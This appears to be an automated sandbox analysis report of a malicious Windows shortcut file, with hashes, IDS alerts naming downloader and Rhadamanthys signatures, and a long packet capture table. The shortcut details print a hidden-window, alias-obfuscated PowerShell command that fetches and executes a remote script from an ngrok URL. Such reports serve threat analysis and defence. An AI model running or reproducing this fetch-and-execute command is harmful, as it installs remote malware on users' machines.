SHA256:	cafffe9031f22c7bc030a5d9876112308f4aad44d4547f1801db261fcbb4c404
SHA512:	481a58989fda13cfd54585da8ac863103dc99962bb12ca03fb5f31996b42acc17f89db44bad30f4ea26737a0d8507c4c5a436b41ab1a476fec323c580920908e
SSDEEP:	48:8GIgax4PsU/rIWXT2qrGGd0lL4XuH4Xv3SsgoQYk:8fgaxEs2rIWXCqSdl2uWvZg5Y
TLSH:	C451AC252BD91725F3F34E364D77B2518E7AB956AD268F2E404042480C62B19DCB5F2B
File Content Preview:	L..................F.@.. ....Q...A.......D.......A...l......................5....P.O. .:i.....+00.../C:\...................V.1......Y'...Windows.@........OwH.Y(...........................-...W.i.n.d.o.w.s.....Z.1......Y)...System32..B........OwH.YI.......

File Icon


Icon Hash:	72d282828e8d8dd5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\Windows\System32\cmd.exe
Command Line Argument:	/c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T13:44:30.840219+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49730	162.125.69.18	443	TCP
2024-12-19T13:44:44.253025+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49828	162.125.69.18	443	TCP
2024-12-19T13:45:14.786368+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	104.161.43.18	2845	192.168.2.7	49943	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 13:44:10.980398893 CET	49677	443	192.168.2.7	20.50.201.200
Dec 19, 2024 13:44:11.353720903 CET	49677	443	192.168.2.7	20.50.201.200
Dec 19, 2024 13:44:11.775620937 CET	49671	443	192.168.2.7	204.79.197.203
Dec 19, 2024 13:44:12.103709936 CET	49677	443	192.168.2.7	20.50.201.200
Dec 19, 2024 13:44:13.603766918 CET	49677	443	192.168.2.7	20.50.201.200
Dec 19, 2024 13:44:16.595108032 CET	49677	443	192.168.2.7	20.50.201.200
Dec 19, 2024 13:44:17.025554895 CET	49674	443	192.168.2.7	104.98.116.138
Dec 19, 2024 13:44:17.025583982 CET	49675	443	192.168.2.7	104.98.116.138
Dec 19, 2024 13:44:17.132523060 CET	49701	443	192.168.2.7	3.125.102.39
Dec 19, 2024 13:44:17.132590055 CET	443	49701	3.125.102.39	192.168.2.7
Dec 19, 2024 13:44:17.132675886 CET	49701	443	192.168.2.7	3.125.102.39
Dec 19, 2024 13:44:17.143732071 CET	49701	443	192.168.2.7	3.125.102.39
Dec 19, 2024 13:44:17.143750906 CET	443	49701	3.125.102.39	192.168.2.7
Dec 19, 2024 13:44:17.697489023 CET	49672	443	192.168.2.7	104.98.116.138
Dec 19, 2024 13:44:18.536951065 CET	443	49701	3.125.102.39	192.168.2.7
Dec 19, 2024 13:44:18.537163973 CET	49701	443	192.168.2.7	3.125.102.39
Dec 19, 2024 13:44:18.543060064 CET	49701	443	192.168.2.7	3.125.102.39
Dec 19, 2024 13:44:18.543067932 CET	443	49701	3.125.102.39	192.168.2.7
Dec 19, 2024 13:44:18.543493986 CET	443	49701	3.125.102.39	192.168.2.7
Dec 19, 2024 13:44:18.558129072 CET	49701	443	192.168.2.7	3.125.102.39
Dec 19, 2024 13:44:18.599359035 CET	443	49701	3.125.102.39	192.168.2.7
Dec 19, 2024 13:44:20.666239977 CET	443	49701	3.125.102.39	192.168.2.7
Dec 19, 2024 13:44:20.666800022 CET	443	49701	3.125.102.39	192.168.2.7
Dec 19, 2024 13:44:20.666994095 CET	49701	443	192.168.2.7	3.125.102.39
Dec 19, 2024 13:44:20.670233965 CET	49701	443	192.168.2.7	3.125.102.39
Dec 19, 2024 13:44:20.805521965 CET	443	49699	104.98.116.138	192.168.2.7
Dec 19, 2024 13:44:20.805839062 CET	49699	443	192.168.2.7	104.98.116.138
Dec 19, 2024 13:44:20.811705112 CET	49712	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:20.811745882 CET	443	49712	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:20.811940908 CET	49712	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:20.812150002 CET	49712	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:20.812166929 CET	443	49712	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:21.385008097 CET	49671	443	192.168.2.7	204.79.197.203
Dec 19, 2024 13:44:22.235483885 CET	443	49712	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:22.235559940 CET	49712	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:22.237659931 CET	49712	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:22.237668991 CET	443	49712	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:22.237915039 CET	443	49712	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:22.239020109 CET	49712	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:22.283337116 CET	443	49712	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:22.556869984 CET	49677	443	192.168.2.7	20.50.201.200
Dec 19, 2024 13:44:23.351526022 CET	443	49712	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:23.351603031 CET	443	49712	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:23.351792097 CET	49712	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:23.351792097 CET	49712	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:23.354861021 CET	49712	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:23.664908886 CET	49718	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:23.664942026 CET	443	49718	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:23.665039062 CET	49718	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:23.665353060 CET	49718	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:23.665364027 CET	443	49718	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:25.106311083 CET	443	49718	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:25.106401920 CET	49718	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:25.106410027 CET	443	49718	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:25.106456041 CET	49718	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:25.109190941 CET	49718	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:25.109196901 CET	443	49718	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:25.109591961 CET	443	49718	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:25.110600948 CET	49718	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:25.155337095 CET	443	49718	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:25.942553997 CET	443	49718	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:25.943252087 CET	443	49718	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:25.943322897 CET	49718	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:25.950563908 CET	49718	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:28.047677040 CET	49699	443	192.168.2.7	104.98.116.138
Dec 19, 2024 13:44:28.048098087 CET	49729	443	192.168.2.7	104.98.116.138
Dec 19, 2024 13:44:28.048136950 CET	443	49729	104.98.116.138	192.168.2.7
Dec 19, 2024 13:44:28.048295021 CET	49729	443	192.168.2.7	104.98.116.138
Dec 19, 2024 13:44:28.048640966 CET	49729	443	192.168.2.7	104.98.116.138
Dec 19, 2024 13:44:28.048655987 CET	443	49729	104.98.116.138	192.168.2.7
Dec 19, 2024 13:44:28.167146921 CET	443	49699	104.98.116.138	192.168.2.7
Dec 19, 2024 13:44:28.391871929 CET	49730	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:28.391974926 CET	443	49730	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:28.392059088 CET	49730	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:28.397353888 CET	49730	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:28.397413015 CET	443	49730	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:29.818365097 CET	443	49730	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:29.869368076 CET	49730	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:29.895772934 CET	49730	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:29.895802975 CET	443	49730	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:30.840328932 CET	443	49730	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:30.840430975 CET	49730	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:30.840468884 CET	443	49730	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:30.840502977 CET	443	49730	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:30.840528011 CET	49730	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:30.840554953 CET	49730	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:30.911962032 CET	49730	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:31.066791058 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:31.066798925 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:31.066862106 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:31.188716888 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:31.188729048 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:31.215822935 CET	49746	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:31.215841055 CET	443	49746	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:31.216018915 CET	49746	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:31.216348886 CET	49746	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:31.216362953 CET	443	49746	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:32.780457020 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:32.780718088 CET	443	49746	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:32.780797005 CET	49746	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:32.780807972 CET	443	49746	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:32.780848980 CET	49746	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:32.804430008 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:32.804446936 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:32.805582047 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:32.805644035 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:32.813153028 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:32.813225985 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:32.813990116 CET	49746	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:32.813997984 CET	443	49746	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:32.814403057 CET	443	49746	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:32.815772057 CET	49746	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:32.815924883 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:32.815934896 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:32.859338045 CET	443	49746	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:32.947196007 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:33.293382883 CET	49729	443	192.168.2.7	104.98.116.138
Dec 19, 2024 13:44:33.912152052 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:33.912162066 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:33.912199020 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:33.912220955 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:33.912240982 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:33.912273884 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:33.916717052 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:33.916779995 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:33.916788101 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.017393112 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.017405987 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.017469883 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.017488003 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.139600992 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.139612913 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.139663935 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.139705896 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.139724970 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.139738083 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.139738083 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.139765978 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.139786005 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.139786005 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.139792919 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.139847040 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.147806883 CET	443	49746	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:34.148648977 CET	443	49746	162.125.69.15	192.168.2.7
Dec 19, 2024 13:44:34.148734093 CET	49746	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:34.216551065 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.216563940 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.216603994 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.216635942 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.216640949 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.216662884 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.216696978 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.216711998 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.216723919 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.216728926 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.216751099 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.316241980 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.316253901 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.316303968 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.316328049 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.316339016 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.316358089 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.316390038 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.316414118 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.316414118 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.316414118 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.316422939 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.316457033 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.349673033 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.349683046 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.349721909 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.349752903 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.349777937 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.349777937 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.349790096 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.349814892 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.349843025 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.349843979 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.349848032 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.349877119 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.377929926 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.377939939 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.377953053 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.377990007 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.378057957 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.378073931 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.378093004 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.432502985 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.447614908 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.447627068 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.447666883 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.447690964 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.447700977 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.447731018 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.447740078 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.447746992 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.447746992 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.447791100 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.506361008 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.506400108 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.506447077 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.506462097 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.506494999 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.506505013 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.506551027 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.506551027 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.511414051 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.511588097 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.516458988 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.516537905 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.522794008 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.522885084 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.522896051 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.537988901 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.538034916 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.538105965 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.538121939 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.538135052 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.544097900 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.544333935 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.544367075 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.546072006 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.546263933 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.546274900 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.548069954 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.548196077 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.548279047 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.548505068 CET	49743	443	192.168.2.7	162.125.69.18
Dec 19, 2024 13:44:34.548526049 CET	443	49743	162.125.69.18	192.168.2.7
Dec 19, 2024 13:44:34.549357891 CET	49677	443	192.168.2.7	20.50.201.200
Dec 19, 2024 13:44:34.642941952 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:34.642991066 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:34.643131971 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:34.643455982 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:34.643472910 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:34.983088017 CET	49746	443	192.168.2.7	162.125.69.15
Dec 19, 2024 13:44:35.873887062 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:35.873929977 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:35.874005079 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:35.874289989 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:35.874310970 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:35.913876057 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:35.913907051 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:35.914160967 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:35.914691925 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:35.914706945 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:36.164768934 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:36.164810896 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:36.165540934 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:36.169339895 CET	49779	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:36.169354916 CET	443	49779	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:36.540254116 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:36.540946007 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:36.540952921 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:36.541682959 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:36.541707039 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:36.541779995 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:36.541785955 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:36.541941881 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:36.542712927 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:36.545552969 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:36.545648098 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:36.546088934 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:36.546094894 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:36.686815977 CET	49784	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:36.686850071 CET	443	49784	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:36.686925888 CET	49784	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:36.687175989 CET	49784	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:36.687189102 CET	443	49784	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:36.744834900 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:36.751342058 CET	49786	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:36.751408100 CET	443	49786	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:36.751477957 CET	49786	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:36.752024889 CET	49787	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:36.752048016 CET	443	49787	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:36.752090931 CET	49787	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:36.752337933 CET	49786	443	192.168.2.7	162.159.61.3
Dec 19, 2024 13:44:36.752371073 CET	443	49786	162.159.61.3	192.168.2.7
Dec 19, 2024 13:44:36.752455950 CET	49787	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:36.752474070 CET	443	49787	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.090090990 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.094501972 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.094516993 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.096029997 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.096105099 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.097357035 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.097441912 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.097560883 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.127157927 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.127665043 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.127674103 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.131047964 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.131177902 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.132253885 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.132333040 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.132405996 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.132411957 CET	443	49776	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.139342070 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.221030951 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.225045919 CET	49776	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.225138903 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.225279093 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.225287914 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.233336926 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.233859062 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.233867884 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.244873047 CET	49775	443	192.168.2.7	172.64.41.3
Dec 19, 2024 13:44:37.244884014 CET	443	49775	172.64.41.3	192.168.2.7
Dec 19, 2024 13:44:37.246361971 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.246464968 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.246474028 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.259063005 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.259186029 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.259193897 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.271190882 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.271945000 CET	49767	443	192.168.2.7	142.250.181.65
Dec 19, 2024 13:44:37.271958113 CET	443	49767	142.250.181.65	192.168.2.7
Dec 19, 2024 13:44:37.340569973 CET	443	49767	142.250.181.65	192.168.2.7
